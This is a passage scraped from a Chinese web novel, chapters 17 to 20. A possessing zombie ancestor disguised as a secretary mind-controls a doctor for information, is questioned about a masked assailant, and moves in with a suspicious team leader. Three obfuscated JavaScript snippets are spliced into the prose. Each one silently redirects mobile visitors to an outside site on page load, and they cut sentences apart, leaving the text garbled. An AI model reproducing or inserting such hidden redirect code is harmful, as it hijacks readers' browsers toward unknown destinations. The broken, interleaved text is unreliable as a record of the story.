;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325346|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少次,我都会把你们抓回来。” 他再次挥刀,速度比之前更快更狠,蚩蓠险险避开,在刀锋划过的极限距离,她指尖尸毒汇聚,轻巧跃起,毫秒相争,对方纯白的面具顷刻间裂成两半。 白面具一个疾退,他企图护住跌落的面具,却在触碰时仅仅抓住了一堆齑粉。 面具下露出一张诡异万分的脸,不,根本不能称之为脸,虽然有立体的五官,却似乎完全包裹在黄白色肌肤之下,像一个亟待破卵而出的蠕虫。 白面具,或许现在应该称其为无面人,下意识抬手遮挡,却只摸到一片空无。他发现自己并不是蚩蓠的对手,更可能暴露了绝不能暴露的秘密,当即决定逃遁此地。 蚩蓠本想再探,可略一思考,若是此刻就杀了白面具,线索必然会断,觉得还是放虎归山更合适,白面具回到神秘组织后,定然将寒黎一事进行汇报,组织将视她为潜在威胁对象,以后肯定还会继续派人要她性命。 她只需静待对方再次出手,便能顺藤摸瓜,要是能利用寒黎的身份,让能控署乃至联邦与之相斗,她完全可以坐收渔翁之利。 看恶狗互撕,永远是她最长情的爱好。 蚩蓠探出的手虚晃,抓了个空,那白面具溜得贼快,一眨眼就消失在视线范围内。 …… 等蚩蓠回到能源控制署,穹顶模拟的人造夕阳已经沉入地平线了。 这一天可真够累,距离她意识苏醒,居然还不到十二个小时。 署内气氛依旧忙碌,但并无异样。仇怜央并没有再找她,舒厌据说仍在医务室接受深度义体检修和更换,江恨白和小童也分别躺在修复舱里接受治疗。 一下子,她这个生活秘书居然成了唯一的闲散人员。 可她不能提前开溜,还必须等着配合喻风那个麻烦精的后续问询,尤其是白面具抢走郑有德的细节,她得想想怎么掰扯。 加班什么的,真讨厌。 她自然不可能跑去关切舒厌的伤势,对江恨白也没啥兴趣,百无聊赖间,她想起了那个失去一切的小女孩。 来到医务室修复舱区,小童安静地躺在透明的舱体内,双眼紧闭,但长长的睫毛却湿漉漉地黏在一起,眼角不断有泪水滑落,混入营养液中。 她唯一完好的那只手紧紧攥着一台旧型号的智脑,屏幕还未熄灭,上面清晰地显示着母亲陈鸿雁发给她的最后一条信息,简短得令人心碎: 「今晚吃肉。」 蚩蓠的目光掠过那条信息,最终落在小童断臂的伤口处,那里除了医疗凝胶,还隐约残留着几丝已经干涸发黑的的血迹。 那是陈鸿雁的血。 陈鸿雁被郑有德啃咬后获得了异能,她的血液本身就已成为异能的载体,小童伤口接触了母亲的血液…… 有没有可能,她也继承了「血丝操控」? 蚩蓠的眼神沉了下去。 看来,这场风波还远未结束。 17.F级异能 “来看舒队长?”先前为舒厌做紧急处理的主治修复师推开隔壁房门,义体修复室就在修复舱隔壁,“自我介绍一下,我叫吴李静。您是舒队长的秘书吧?” “您好,我叫寒黎,”蚩蓠挂上无可挑剔的职场微笑,“刚才在现场想跟您打招呼来着,看您正忙,就没敢打扰。” 她对这位吴医生的第一印象极好,圆润饱满的面相慈祥温和,一看就很有福气。更何况,对方从事的职业必然掌握着舒厌身体状况的核心数据,说是最了解他弱点的人恐怕也不为过。 “您太客气了。”吴李静取下防护眼镜,温和地笑了笑,“舒队长恢复得差不多了,等我同事做完最后一道检查程序,您就能进去看他了。” “好的,那我在外头等等,辛苦您了。” 蚩蓠回话恭敬礼貌,心里却嗤之以鼻。 谁要去看他?她被郑有德掳走,生死一线,居然没有一个人追上前救助,现在她“灰头土脸”地回来了,除了那几个狗腿的后勤,猎尸队上下没一个人过问她的状况,更别说关心她受伤与否了。 就连仇怜央,知道她毫发无损后,仅仅只是建议她换一具扛揍些的义体,免得被白面具背后的势力追得太凶,随即便去忙别的事情了。 现在所有人的第一要务都放在尸祖被抢和能源短缺的应对上,猎尸队在外城区的腥风血雨,根本无人关心,他们唯一在意的,是猎尸队又放跑了一个可以充当能源炉的高阶僵尸。 仿佛听到了蚩蓠的心声,吴李静关切的说:“估计还得等半小时,要不我让同事给您做个全面检查?有些内伤肉眼难以察觉,但也可能存在感染风险。而且,一线人员的心理评估也很重要,您之前应该没有做过这方面的测试吧?” 见蚩蓠面露迟疑,她又补充道:“您要是不放心,我可以亲自给您做,我是义体修复和精神评估双料博士,执照齐全的。” “嗯……行吧,那就麻烦吴医生了。”蚩蓠本想拒绝,但转念一想,寒黎这具身体本来就疑点重重,趁此机会做个检查也好,顺便探探署里的检测水准。 两人走进不远处一间通体透明的评估室。 吴李静让她放松,躺进一个浸满淡粉色凝胶的休息舱内,接上四肢和头部的监测贴片。 电极贴片传来温热酥麻的触感,蚩蓠整个人渐渐向下沉陷,最终被那奇异的凝胶完全包裹。 呼吸间,一股若有似无的淡香涌入鼻腔。这些凝胶并不会影响心肺功能的正常运作,可是,紧接着,香气突然变质,化作浓烈刺鼻的尸腐恶臭。 蚩蓠睁眼,不顾一切坐起身,这气味显然与地下工厂尸毒的味道一模一样。 吴李静对此并不意外,眼中反而闪过研究者特有的兴奋光芒:“您体内有显著的尸毒代谢残存痕迹……” “呃,”蚩蓠顺势而下,搬出那套荒谬的说辞,“我之前……从黑市搞了一些尸毒,萃取后当香水用,想着或许能投舒队长所好。”她语气恰到好处地流露出些许窘迫。 “关于舒队长喜欢尸体体味的传言,我也有所耳闻。”吴李静了然的笑笑,显得宽容又专业,“虽然觉得这只是无稽之谈,但寒秘书这份心意,或许真能精诚所至金石为开呢。” 蚩蓠忍不住扶额,清清嗓子,掩饰尴尬。 “可是,”吴李静话锋一转,神色也变得锐利起来,“数据显示,尸毒代谢物与您的神经组织发生了罕见的共生反应……这太不可思议了!” “呃……能说得通俗些吗?” “您的体温较常人偏低,组织轻度尸化,而且,您的神经传导速度异常飙升!意思是……”她难以置信地低语,“……您似乎觉醒了异能。” “异能?”蚩蓠从寒黎的记忆库中摸索出部分常识,在不夜穹隆,正常人类是绝无可能拥有异能的,只有继承了尸祖之血的高阶僵尸进化出了异能。 “初步判断为F级加速异能,您的肌肉反应和移动速度远超常人。”吴李静站起身,语气混合着担忧和难以抑制的兴奋,“这发现太惊人了!我必须上报……” “以前没有人发生过类似的事情?”蚩蓠试探性地问。 “是的,这是我第一次……” 话音未落,吴李静防护镜片后的双眼瞬间蒙上一层白雾,属于尸祖的红眸对上她的眼,一道冰冷强横的意志跨越虚空,攫住了她的神智。 蚩蓠的声音低沉而缥缈,向她发出指令:“寒黎的身体一切正常,你什么也没有发现。” “是……”吴李静眼神空洞,机械地重复,“寒黎秘书的身体一切正常,我什么都没有发现。” “很好。那个叫陈小童的女孩呢?有没有特殊迹象?” “她的休克性出血已经得到控制,暂时没有发现异常。但我们检查了她的基因序列,她嗅上皮细胞的基因表达量远超常人,陈小童……她能分辨出不同个体血液中独有的信息素。” 原来如此。 小童很快认出她、舒厌和江恨白是联邦的人伪装的,仅凭的不仅是外貌上的细节,能嗅出血液中的信息素也是重要的原因之一吧。包括她顺利找到诊所,甚至从一堆面貌难辨的尸体中判断出母亲不在里面,都跟闻血的天赋有关。 “嗯,”蚩蓠感到意识牵引开始松动,必须速战速决,只能挑最重要的问了,“舒厌呢,他的身体有什么弱点?” “舒队长他……”吴李静眼前的白雾时而消散时而覆盖,似乎正在进行激烈的精神抗争,但最终还是失败了,“他这具义体完全靠心脏核心的高能血晶驱动,需要定期更换。还有……” “还有什么?”蚩蓠的红眸更深更暗,她势必要获得这些最宝贵的信息。 “他真皮层植入了抗僵尸日光矩阵,启动的时候能量消耗非常高,会大大缩短高能血晶的续航。” “嗯……”蚩蓠非常满意,她催动着所剩无几的力量,继续问,“还有其他发现吗?” 吴李静这回没再谈及舒厌,说话变得断断续续,声音也越来越低:“江组长……创伤后应激指数非常高……他的身体很快就能恢复……但精神评估结果不理想……可能影响后续任务的出勤……” 她整颗头瘫垂下来,双手无力地拉拢在身侧,到最后,彻底失去了意识。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329869|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蚩蓠切断精神连接,一阵强烈的虚脱感伴随着头痛袭来。她扶住墙,脸上血色褪得干干净净,变成了不健康的白,仿佛刚才经历了一场大战,且远比跟白面具的恶斗辛苦得多。 待晕眩过去,她扶起昏迷的吴李静,让她靠在椅上自行恢复,自己则回到了修复舱区的走廊,假装从未离开。 猎尸队专用修复舱区内,小童终于沉沉睡去。 隔壁舱室里,江恨白似乎正被噩梦缠绕,时而抽泣,时而大哭,像落水却得不到施救的人,整个人在营养液里缩成一团。 “对不起……对不起……爸爸对不起你们……我不是故意的……我真的太累了……求你们了……别来找我了……” 蚩蓠只是默然地瞥了一眼,他的心魔与她何干。 这时,义体修复室的舱门滑开,舒厌走了出来。 “你脸色不太好,不过看起来没受什么伤。”他目光落在她身上,罕见地牵起一抹笑意,那一瞬,蚩蓠竟从中读出了几分欣赏的意味。 她甩甩头。不可能!绝对不可能! “长官,您是不是太没良心了。”蚩蓠本想拾起寒黎那副娇嗲面具,可话一出口,却带上了自己都未察觉的真实情绪。 “寒黎,我从没有怀疑过你的能力。”舒厌语气坦然,“你是这次任务中唯一没有受伤的,你看,你这不就从郑有德手中全身而退了嘛。” “长官,您没良心的可不止这一件事。”蚩蓠偏头看他,嘟嘟囔囔地说,“您不救我也就算了,毕竟当时您和江组长都受了伤,救援队也都是些医护人员,可是……封印郑有德的那把桃木剑,摸起来冰凉凉的,我当时没多想,事后回忆起来,您该不会是特意找了个劣质品给我吧?” “说的什么呢?我身上哪还有地方塞第二把剑,要真是残次品,我岂不是也把自己的生命当儿戏了?”舒厌看似严肃地蹙眉,可那黑白分明的眼睛里却闪烁着意味不明的笑意。 “哦?是吗?”蚩蓠挑眉,“那你们可得好好检查了,连封印僵尸的圣物都能出问题。” “寒黎,”舒厌凑近,紧紧盯着她的瞳仁,似乎想要从中窥得一点真实,“你怎么知道桃木剑摸起来不应该是冰凉凉的触感?猎尸队配备的特别武器只有噬尸电鞭和符箓,桃木剑只有我和副队长有,难道你之前……在别的地方接触过?” 蚩蓠想起舒厌封印自己本体的时候,桃木剑入体奇热无比,简直可以用熔岩滚烫来形容,僵尸本来就厌恶高温,她喝水都不愿意碰超过三十度的,那滋味自然刻骨铭心。 要她怎么说? 难道要答“是啊,你捅我的那把剑怪烫的”? 蚩蓠假装被他突如其来的逼问吓得肩膀一缩,眼底泛上一层被误解的水光与委屈,她嘟起嘴,声音里带上了嗔怪:“长官,您审犯人呢?我就是奇怪嘛……桃木做的东西,不就是木头的质感嘛,那么冰,又不是铁打的,抱怨一句都不行呀?” “嗯……也是。”舒厌若有所思地看了她片刻,终于缓缓后退,他重新抱起双臂,又变回了那副油盐不进的淡漠模样。 “看来是我多虑了。” 18.白面具 「现在是晚上7点55分,您的会议还有五分钟开始,请提前到27楼一号问询室做好参会准备。」智脑的提示音刚落,蚩蓠和舒厌已经从电梯走了出来。 “问询室?这里只有审讯室啊?”蚩蓠挑眉指着门牌。 “是这里没错。”门自动开启,喻风朝他们打了个招呼,那表情居然带着几分敬意。 不过不是对舒厌,而是对夺舍寒黎了的蚩蓠。 蚩蓠心下了然,喻风肯定知道寒黎皮下是署长仇怜央的八十老母。她不耐烦地扯了扯嘴角,坐到他对面的椅子上,姿态慵懒得仿佛只是来喝茶的。 她的目标很明确,尽量只说废话,尽可能套出关于白面具的情报。 喻风直接跳过舒厌,看向蚩蓠,语气温和得近乎安抚:“寒秘书,您受惊了。知道您没有受伤,署长可是大大松了口气,这么危险的任务,您以后还是尽量……” “好了。”蚩蓠毫不客气地打断他,“刚才小舒已经安慰过我了,喻主任,你还是废话少说,挑重点问吧,我知道你也只是例行公事而已。” 从始至终喻风都一副风度翩翩的样子,没有对蚩蓠的不耐烦表现出任何不满,顶多在听到“小舒”两个字的时候,朝舒厌投去了两道鄙夷的目光。 一旁的舒厌轻咳两声,装模作样道:“是,是,喻主任还是按老寒说的,直接问吧,我们肯定知无不言,言无不尽。” 蚩蓠太阳穴青筋突突直跳,斜睨了他一眼。 “哈哈,那我就直接问了。”喻风尴尬得要命,这两人之前一个倒贴,一个爱理不理,现在搁他这儿演双簧秀恩爱死得快呢。 他点开屏幕上的电子档案:“鸽笼巷诊所发生的事情,我们已经调取执法记录仪和现场监控进行了初步了解。寒秘书,您只需要简单描述一下被郑有德掳走之后发生的事情即可,重点是白面具人的信息,这对我们接下来的工作至关重要。” 蚩蓠轻轻叹了口气,仿佛在回忆一件有点麻烦的小事:“唉,要不是郑有德把我掳去当人质的时候弄坏了执法记录仪,我也不必浪费这个时间了,是吧?” 不等喻风接话,她又痞气十足地摆手:“行吧行吧,该走的流程还是得走的,我懂。那个白面具嘛,身手挺不错,像个幽灵,咔一下就把郑有德解决了。” “……” 房间一时沉默,这些废话显然不是喻风想要的信息,“那……”,他尝试更有针对性的封闭式提问,“他用的是什么武器呢?” “一把挺大的镰刀,沾着一些莹蓝色的液体,不知道是什么。” “一把镰刀解决了郑有德这种高阶僵尸?”喻风这回的惊讶不似伪装,“郑有德可是让舒队长都吃了不少苦,莹蓝色的液体……能伤到他?” 蚩蓠故意停顿片刻,像是努力回忆,实际上在观察喻风的表情。他到底不确定,还是在确认信息?也罢,再抛点饵料看看,她决定说得更具体些。 “嗯,那玩意儿邪门得很,一碰到郑有德,他就开始飙血……很奇怪,他好像突然不会操控血丝了。” 这下,喻风和舒厌都提起了兴趣。 喻风身体前倾:“郑有德的异能消失了?” 舒厌更敏锐,立刻抓住了最关键的问题:“郑有德身上还有其他变化吗?” “呃,我想想……”蚩蓠故作深沉地回忆了一小会儿,“对了!我想起来了,他之前身体不是很壮很大乌青乌青的嘛,好像突然变得……变成正常人了。” 这一下,就连舒厌和喻风都禁不住对视了一眼,舒厌很快得出结论:“听上去,像是郑有德从僵尸逆转回人类了。” “啊?!”蚩蓠故作惊讶,“那些莹蓝色的东西,居然能让僵尸变回人类吗?那岂不是……岂不是……” 对于不夜穹隆来说,既是曙光,亦是噩耗。 普通百姓苦僵尸侵扰久矣,可在酸雨末日的恶劣环境下,由僵尸之毒制造的血晶,却是整个社会正常运转的基础。 但蚩蓠心知肚明,这些莹蓝色液体恐怕只对实验室造出的“新品”有效,像她这种死得不能再死的尸体,就算泼上一吨,也变不回活人。 喻风面色凝重地看向两人:“说起这个白面具,行事风格让我想起一桩旧案,舒队长应该也有印象吧。” 舒厌默不作声地点点头。 “两年前一个雨夜,”喻风沉声道,“那时候还是猎尸队二组组员的江恨白,亲手抓捕了他的胞弟江念墨。当时,那位江念墨穿的病服跟郑有德一模一样,状态癫狂,嘴里满是鲜血……和未嚼烂的肉块,不停地念叨着’侄子的肉是大补‘。” 蚩蓠适时地皱起了眉头。 “蹊跷的在后面,”喻风继续道,“押解小队在返回途中,遭遇了袭击,对方也戴着一副白面具,不过他手里没有任何武器,也能不像有异能的僵尸,但是,他非常轻松地斩首了二组几乎所有人。” “江恨白是唯一的幸存者,根据他的描述,那白面具善用面具突袭,行动速度快如鬼魅,他脸上的面具能从中间裂开,往前一顶,人的头就没了。” 蚩蓠一副若有所思的模样:“相同的病号服,抢僵尸的白面具,确实有很多相似的地方。” “嗯,实际上联邦安全局已经将两案并案调查了。” “寒秘书,”喻风重整笑容,将话题拉回当下,“所以说,这个人是极其危险的,您能全身而退真是万幸。我能不能再确认一下,您究竟是如何从他手中逃脱的?” 来了。 蚩蓠本来觉得这个说辞太扯,但是从寒黎口中说出来,似乎也合理得很了:“……他大概觉得我碍事,随便把我一脚踢下来了,幸亏这具义体还算结实,小舒给我选的战术外套又自带缓冲功效,要不然……就没机会在这里接受喻主任的审讯了。” 她用下巴示意房间标牌,刻意加重了“审讯”二字。 “原来如此,您果然吉人自有天相,您提供的信息对我们非常有帮助。”喻风滴水不漏,视线转向舒厌,脸上的温和立马消失,换了套公事公办的冷脸。 “舒队长,请你解释一下,为什么在鸽笼巷诊所,你们整个小队会陷入如此别动的局面?目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338956|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标郑有德被不明势力劫走,你不赶紧派人前去救援,却自行回到署里,让寒秘书靠运气和装备自救?” 舒厌没有太多表情:“F区僵尸暴动和鸽笼巷诊所三十多人丧命都是陈鸿雁所为,陈鸿雁由郑有德转化,同时继承了郑有德血丝操控的异能,这在以往前所未有,我们之前从没在被转化的僵尸身上发现转化者的异能。” “至于不派人救援寒秘书,”舒厌坦诚道,“是因为猎尸队主力都有伤病在身,救援队没有额外战斗力量。并且,寒秘书的义体很多,毁坏一具并不是什么大问题。” “你!”最后一句话没把蚩蓠激怒,倒把喻风惹毛了,“我不想听客观理由,猎尸队的职责就是处理未知和突发状况,情报滞后不是你们任务失败的借口,让寒秘书陷入险境,让郑有德这样稀有的高阶僵尸随意逃走,舒队长,你是不是觉得外城区的工作太轻松了,想去城防部待一段时间。” 城防部号称整个不夜穹隆最苦逼最无聊的部门,除了检测气象就是维修穹顶和城墙,绝大部分时间光线不充足,环境让人崩溃,凡是有点出息有点关系的都不想去干。 舒厌眼神冰冷:“当时的最高优先级是控制现场,避免平民伤亡扩大,我认为在当时的情况下,我做出的已经是最优选择。” “最优选择?”喻风冷笑,“舒队长,署里对这次的结果可以说是相当不满意。” 这时,蚩蓠忽的轻笑一声,插话道:“喻主任,您这话说的,当时要不是舒队长提前重伤了郑有德,我又怎么可能有机会逃出来?说到底,还是我家小厌最厉害了。” 喻风这话一岔,脸色难看,只好把后面刁难的话咽了回去,转向她时挤出笑容:“寒秘书说的是,是我考虑不周了,舒队长自然是……功不可没。” 他重新看向舒厌,语气稍微缓和了一些:“舒队长,请你后续提交一份详细的作战报告,重点说明郑有德和陈鸿雁异能继承的细节,署里需要评估其危险等级。” 舒厌:“好。” 喻风最后对蚩蓠和颜悦色地说:“寒秘书,流程走完了,您辛苦了,回去好好休息吧。如果想起任何关于白面具的细节,任何时间,都欢迎您敲我智脑,我二十四小时待命。” “哦,”蚩蓠不咸不淡地应了声,转头将手搭在舒厌肩膀,“小舒,署长刚才给我发了信息,说你重伤郑有德没有辛劳也有苦劳,叫你继续发扬努力,只是最近这段时间……他让我在你那儿住一下,叫你好好保护我呢。” 她狡黠的目光落在舒厌写满无语的脸上。 两人起身离开,各怀鬼胎。 蚩蓠收获不小,联邦根本还不清楚白面具背后的势力,另外,舒厌似乎格外关注僵尸逆转,住进他家,正好方便她近距离无死角地摸底。 只是她不知,舒厌与她的想法相同,他要趁此机会,弄清楚这个女人的真实面目和目的。 至于留在房间里的喻风,则脸色阴沉地掐灭了眼前电子档案的光屏,他发誓,等他当上能源控制署署长的那天,势必要给这个八十岁的老女人一点好脸色。 19.被狗咬了 舒厌的住所就在能源控制署正对面的高级公寓,非常适合他这种热爱工作的中层领导,蚩蓠忍不住想,这人会不会在生日那天奖励自己一份抓捕任务。 房间采用了典型的极简装修风,可见之处不是黑就是白,柜子桌子上几乎看不到任何物品。 客厅中央的懒人沙发是为数不多显得柔和舒服的家具,蚩蓠刚放下行李箱,一进门就直奔它而去,哪想,那沙发几声“咔咔”变形,舒展四肢,活动脑袋,一个男仆模样的机器人管家便出现在面前。 “恭迎主人回家。哟,主人居然带了一个女人。” 蚩蓠翻了个白眼,这管家还挺八卦。 “您好,”机器人伸出手,想要同蚩蓠握手,“我叫懒人,致力于成为让主人什么事都不需要我干的懒人。” 蚩蓠:“……哦……你好,懒鬼。” “是懒人,我是一个人,不是鬼。”懒人纠正道。 “好了,”舒厌打断两人,眼睛始终盯着空中展开的数面光屏上,根本没有看蚩蓠,“客房权限已经解锁,寒黎,你就住那儿吧,生活用品懒人会拿给你,记得,书房和我的房间禁止入内。” “哦,好吧,长官,那我就不打扰您了。”蚩蓠拖着行李箱走向客房,表面委委屈屈,心里其实高兴坏了。 这一天发生的事情太多,她虽然是不需要睡觉的尸祖,但寒黎并不强壮的肉.体凡胎还是需要好好修整一下的。 她每走一步,地面瓷砖都会显现出一个脚印的形状,光屏甚至会记录她走过的区域,只要蚩蓠距离书房和舒厌的卧室近一点,都会发出警告。 切,她又不是寒黎,谁要深更半夜跑去他房间。 蚩蓠乐颠乐颠躺在床上,居然就这样睡着了。 另一间房的舒厌,翻来覆去却始终无法入眠。寒黎身上诸多疑点萦绕心头,他几乎已经有八成把握,这女人已经被沉眠千年的尸祖蚩蓠夺舍了。 可关于蚩蓠的事情,他了解得太少,需要查阅最高权限的尸祖原始档案,只是他权限不够,整个能源控制署,拥有这种权限的人恐怕只有仇怜央和他最信任的“老母亲”。 一个让人不悦的计划在他脑中成型。 第二天,舒厌开始了他的表演。 他注意到寒黎将冲泡咖啡的水温设定在40度,递给他的时候,她自己那杯几乎没冒热气,还放了一片薄荷叶。 他什么都没说。 午餐时,他让懒人准备了热汤和刚出炉的烤羊羔,推到她面前:“寒黎,喝点热的,对身体好。” 她又摆出那副一眼假的甜笑:“谢谢长官关心,不过我最近内火太旺,中医建议吃些生冷舒缓的。” 一派胡言。 她极其自然地从冰箱里拿出一盒薄荷味的冰淇淋,那冰凉的触感让她舒服得眯眼。 像猫咪。 舒厌看着她,没坚持,只是淡淡地说:“是么,医生的报告能同步我一份吗?” 蚩蓠:“……” 猫咪露出那种很想咬人的表情了。 他对她的关切在傍晚时分到达了顶峰,舒厌拿着一杯冰水走向正在假装浏览新闻的蚩蓠。 “加了薄荷叶,你应该喜欢。”他语气温和得吓人。 蚩蓠警惕地接过,嗅了嗅,确认无误后才抿了一小口。“谢谢长官。” 洗完澡,蚩蓠头发还没有干,刚走出浴室,就看到舒厌貌似愧疚地踱步,声音低沉说:“之前几年,是我忽略你了。” “???”这演的哪一出。 他走进一步,目光落在她的唇上。 蚩蓠浑身警报拉响,她想后退,后腰却抵在洗手台上,寒黎的人设只能让她僵在原地挤出微笑:“长官,您别这么说……” 话音未落,舒厌突然伸手揽住她的腰,另一只手托住她的后颈,低头吻了下去。 不,与其说是吻,不如说是……在收集她的口水。 蚩蓠的颅内闪过无数少儿不宜的画面,这家伙,技术真有够烂的! 就在蚩蓠想要反客为主,亲自上手教学的时候,舒厌猛地放开了她,甚至后退了一步,用手背擦了擦嘴唇,脸上露出微妙的嫌弃。 “抱歉,”他的声音恢复了冷静,“我心里或许可以尝试接受你,但身体……呃……还是不太适应你身上那种……殡仪馆特有的芬芳。”说完,他转身离开,仿佛刚才只是完成了一项令人不适的必要任务。 蚩蓠愣在原地,几秒后,艹!艹!艹! 她被狗咬了,居然还被狗嫌弃了!他怎么敢的?!还嫌弃她?! “舒!厌!”蚩蓠从牙缝里挤出两个字,这股邪火必须发泄出去,她打开智脑,凭借寒黎的记忆,迅速联系了本地最高档仿生男模会所“极乐穹隆”。 「要最贵的,三个,立刻送到这个地址!」 书房内,舒厌面无表情地提取了刚才接吻时获取的生物样本,通过智脑接入能源控制署绝密档案库。 蓝色数据流在光屏上飞速闪动,夹杂着古老扫描件和猎人手札残卷的原始档案,一一展现在他面前。 舒厌没有使用「速读」功能,他一贯如此,他喜欢品味文字间的逻辑、真相、谎言和情感。 千年前,那时候的蚩蓠还只有二十岁,她寄宿在堂妹夜璃家,某晚突发诡异大火,连同夜璃的父母在内,蚩蓠和夜璃四人全部死于火中,夜璃的父亲夜帅、母亲孟菟尸骨无存,但蚩蓠和夜璃的尸骨却离奇完好,随后被不知名的人盗走炼化,成为了开启僵尸时代的双生尸祖。 之后的记录开始变得碎片化,舒厌只能大致拼凑出一些过往。随着僵尸肆虐,民间渐渐出现了猎人组织,聚集成氏族反抗僵尸。 尸祖之一的夜璃怨气冲天,手段残酷,无恶不作。而有关蚩蓠的记录则复杂得多,数份猎人的手札甚至提到她约束麾下僵尸“不吸人血,不杀无辜”,但也有关于她一口气灭掉数支猎尸小队一个不留的传闻。 可就在双尸祖权力滔天的鼎盛时期,夜璃却突然遭遇猎人围捕,最后被封印,这其中似乎与蚩蓠的倒戈密不可分。 最后的记录让舒厌的机械心脏也不禁蹦蹦直跳。 夜璃被封印不久之后,蚩蓠竟孤身突袭猎人据点,意图抢夺夜璃的封印体,并与一位名为舒厌的猎人发生恶 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舒厌将书房设置为免打扰模式,把档案看了一遍又一遍,他甚至没有发现,隔了几个房间的客卧里,蚩蓠在极乐穹隆头牌男模们的环绕下睡去,用挥霍和放纵勉强压下了怒火。 清晨,刺耳的紧急通讯铃声同时惊醒了两人。 舒厌第一时间接通,喻风焦急的声音传来:“舒厌,立刻归队,最高警戒,沈嘲天越狱了!” “知道了。”舒厌迅速起身,他本想第二天亲自去探视沈嘲天,觉得或许这一切都能从他身上找到答案。 偏偏这么巧,沈嘲天居然从能源控制署最森严的大牢里越狱了。 舒厌难得产生一种被命运牵着鼻子走的感觉,他讨厌这种感觉,像是……一个木偶,一个傀儡,被什么人用无形的绳索绑缚,叫你走东,你绝不能往西。 经过虚掩的客房时,他脚步顿住了。 透过门缝,他看到蚩蓠慵懒地睡在床上,地摊上随意丢弃着几件明显不属于他的男士外套,款式花里胡哨。 舒厌眉头紧锁,一种极其陌生且不悦的情绪,像一根不起眼的小刺,在他脑袋深处扎下,让他莫名烦躁。 “懒人!”他站在客房门口喊道,“你怎么让他们进来的?!” 懒人从客厅漂移过来,他的脸瞬间变成一个哭泣的卡通图像,委屈巴巴地说:“寒小姐又不是您女朋友,她给我打赏了不少钱,那几个仿生男模还帮我打扫卫生……” “你!”舒厌简直要被这傻叉智能管家气疯了。 “署长命令猎尸队全员即刻出动!”喻风的声音还在持续。 舒厌眼神冰冷,对着通讯器队内频道生硬地说:“通知下去,五分钟后作战会议室集合。” 他不再看客房一眼,转身大步离开,皮靴踩在瓷砖上发出冷硬的哒哒声。 房门内,蚩蓠被吵醒,她拉下被子,听着门口那道明显带着怒气的脚步声远去,顺手揽过旁边的仿生男模肩膀,嘴角的愉悦根本压抑不住。 呵。狗男人。 20.匿影夺魂① 舒厌走后,蚩蓠还赖在被窝里不想起床,客房的床虽大,可睡四个人总归挤了点。 她推开依偎在怀里的男模,心下感慨时代果然不同了。她还没被封印那会儿,周围邻里要是第一个孩子是女婴,必须得取个“盼儿”、“招娣”之类的名字才不给家里丢人。 眼下这三个仿生男模,名字一个比一个悦耳,分别叫迎姝、来仪和望姊。 这些名字多好呀,她要是晚生个千吧年,或许也不至于被亲爹娘送到大姨家寄养。 时间太久远了,她几乎快忘了自己的本名叫什么了。只记得离开了家,离开了蚩氏一族,她跟自己说,那就叫离蚩好了。 可姨夫不同意,他认为姓氏是人之根本,即便女子无法传承香火,也不该弃了根。 他希望这个被家族抛弃的女孩能像杂草一样生命力顽强,于是赠了她一个草字头,好跟女儿“夜璃”的名字形成云泥之别的对照。 蚩蓠寄人篱下,无可辩驳。 “来仪,你身上还挺香的嘛。”她揉了揉其中一个男模的头发,这气味跟以前那些男宠身上的脂粉味截然不同。 “我们身上的汗腺都是经过特殊调配的,我选的这款是木质香,味道比较接近大自然,虽然好闻,但是跟寒姐您这样天生丽质的,是没法比的。” 来仪说的真诚自然,要不是昨晚舒厌那一吻之后还嫌她体臭,蚩蓠非得多赏点血晶给来仪不可。 不夜穹隆没有线上支付,人们只相信实实在在看得见摸得着的血晶,蚩蓠将三个满当当的小袋子扔给男模,算是对他们服务满意的额外奖赏。 当富婆就是好,她还是第一次对夺舍寒黎这个身份感到满意。 送走了男模们,蚩蓠慵懒地洗漱,却见懒人鬼鬼祟祟地跟在她后头,一副欲言又止的模样。 “说。”蚩蓠吐出薄荷味的泡沫。 “那个……”懒人支支吾吾,“我当舒厌的管家也有好几年了,没有功劳也有苦劳……” “想要血晶?” “啊?不,不,你昨晚给我够多了。” 蚩蓠透过镜子看向身后的变形沙发,向上挑起一根眉毛,瞬间了然:“那就是缺对象了。” “嘿,嘿嘿。”懒人不好意思地挠挠头。 比起只剩个脑子的义体改造人舒厌,蚩蓠反倒更喜欢这个偶尔掉链子的智能管家,至少,他还有点人味。 另一边,能源控制署作战会议室,舒厌毫无人性地说:“江恨白组长暂时休假,休假时长不定。黎柒染,二组由你暂代指挥,负责外城区方向的排查。” 黎柒染站起身,短发利落,声音坚定:“收到!” 一旁的江恨白几乎直接弹了起来:“舒队,我什么时候休假了?” 舒厌无视了他,目光转向一位身材健硕、面部线条刚硬的男人:“武琨,你继续带一组,负责内环工业区方向的初步排查和封锁。” “是!”一组组长武琨声如洪钟。 